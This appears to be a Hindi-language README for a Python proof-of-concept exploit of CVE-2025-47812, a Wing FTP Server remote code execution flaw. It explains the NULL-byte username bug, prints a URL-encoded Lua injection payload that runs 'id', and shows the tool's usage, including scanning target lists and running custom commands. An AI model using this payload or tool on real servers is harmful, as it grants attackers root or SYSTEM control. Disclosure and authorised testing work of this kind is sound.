
Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)
Wing FTP Server दूरस्थ कोड निष्पादन (RCE) एक्सप्लॉइट (CVE-2025-47812)
📌 श्रेय: भेद्यता की खोज Julien (@MrTuxracer) द्वारा की गई।
यह PoC कार्यान्वयन उनके मूल शोध पर आधारित है।
यह रिपॉजिटरी Wing FTP Server दूरस्थ कोड निष्पादन (RCE) भेद्यता (CVE-2025-47812) के लिए एक Python एक्सप्लॉइट होस्ट करता है। यह महत्वपूर्ण दोष हमलावरों को प्रभावित Wing FTP Server इंस्टेंस पर root/SYSTEM के रूप में दूरस्थ कोड निष्पादन प्राप्त करने की अनुमति देता है, भले ही अनाम पहुंच सक्षम हो।
यह भेद्यता Wing FTP Server द्वारा प्रमाणीकरण प्रक्रिया के दौरान उपयोगकर्ता नाम पैरामीटर के भीतर NULL बाइट्स के अनुचित हैंडलिंग से उत्पन्न होती है। यह हमलावरों को सीधे सत्र फ़ाइलों में Lua कोड इंजेक्ट करने की अनुमति देता है। फिर इन दुर्भावनापूर्ण सत्र फ़ाइलों को निष्पादित किया जाता है जब एक वैध सत्र लोड किया जाता है, जिससे सर्वर पर मनमाना कमांड निष्पादन होता है।
इस एक्सप्लॉइट की मुख्य विशेषताओं में शामिल हैं:
यह उपकरण केवल शैक्षिक और अधिकृत पैठ परीक्षण उद्देश्यों के लिए है। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है। किसी भी सिस्टम पर परीक्षण करने से पहले हमेशा स्पष्ट, लिखित अनुमति प्राप्त करें।
यह भेद्यता Julien (@MrTuxracer) द्वारा खोजी और विस्तृत रूप से प्रलेखित की गई थी। मूल लेख देखें:
What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
CVE-2025-47812 भेद्यता एक महत्वपूर्ण मुद्दा है जो Wing FTP Server द्वारा उपयोगकर्ता प्रमाणीकरण और सत्रों के प्रबंधन में कई कमजोरियों से उत्पन्न होता है:
c_CheckUser() में NULL बाइट ट्रंकेशन: c_CheckUser() फ़ंक्शन, जो उपयोगकर्ता प्रमाणीकरण के लिए जिम्मेदार है, आंतरिक रूप से प्रदान किए गए उपयोगकर्ता नाम पर strlen() का उपयोग करता है। जब एक NULL बाइट (%00) को उपयोगकर्ता नाम में इंजेक्ट किया जाता है (जैसे, anonymous%00...), तो strlen() इस बिंदु पर स्ट्रिंग को काट देता है। इसका मतलब है कि प्रमाणीकरण NULL बाइट से पहले उपयोगकर्ता नाम के भाग के लिए सफल होता है, प्रभावी रूप से उचित सत्यापन को दरकिनार करते हुए।loginok.html के अंदर rawset(_SESSION, "username", username) कॉल GET या POST पैरामीटर से सीधे पूरे, अशुद्ध उपयोगकर्ता नाम का उपयोग करता है। इसमें NULL बाइट और उसके बाद के कोई भी वर्ण शामिल हैं।anonymous%00]]%0dlocal+h+%3d+io.popen("id")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--) के परिणामस्वरूप यह दुर्भावनापूर्ण कोड सीधे सत्र फ़ाइल में लिखा जाता है।SessionModule.load() फ़ंक्शन, जो किसी भी प्रमाणित कार्यक्षमता (जैसे /dir.html) तक पहुँचने पर आहूत होता है, loadfile(filepath) के बाद f() का उपयोग करके सत्र फ़ाइल को सीधे निष्पादित करता है। यह महत्वपूर्ण कदम इंजेक्ट किए गए Lua कोड को ट्रिगर करता है, जिससे दूरस्थ कोड निष्पादन होता है।यह भेद्यता विशेष रूप से गंभीर है क्योंकि Wing FTP Server डिफ़ॉल्ट रूप से अक्सर Linux पर root या Windows पर SYSTEM विशेषाधिकारों के साथ चलता है। यह डिफ़ॉल्ट कॉन्फ़िगरेशन हमलावरों को सफल शोषण पर समझौता सिस्टम पर अधिकतम नियंत्रण प्रदान करती है।
प्रभावित संस्करण: Wing FTP Server संस्करण 7.4.4 से पहले संवेदनशील हैं।
यह स्क्रिप्ट अपनी कार्यक्षमता को अनुकूलित करने के लिए विभिन्न कमांड-लाइन तर्कों का समर्थन करती है।
python3 CVE-2025-47812.py -h
usage: CVE-2025-47812.py.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-v] [-o OUTPUT] [-U USERNAME]
Exploit script for command injection via login.html.
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., [http://192.168.134.130](http://192.168.134.130)). Required if -f not specified.
-f FILE, --file FILE File containing list of target URLs (one per line).
-c COMMAND, --command COMMAND
Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.
-v, --verbose Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.
-o OUTPUT, --output OUTPUT
File to save vulnerable URLs.
-U USERNAME, --username USERNAME
Username to use in the exploit payload. Default: anonymous
python3 CVE-2025-47812.py -u http://192.168.134.130 -c ipconfig
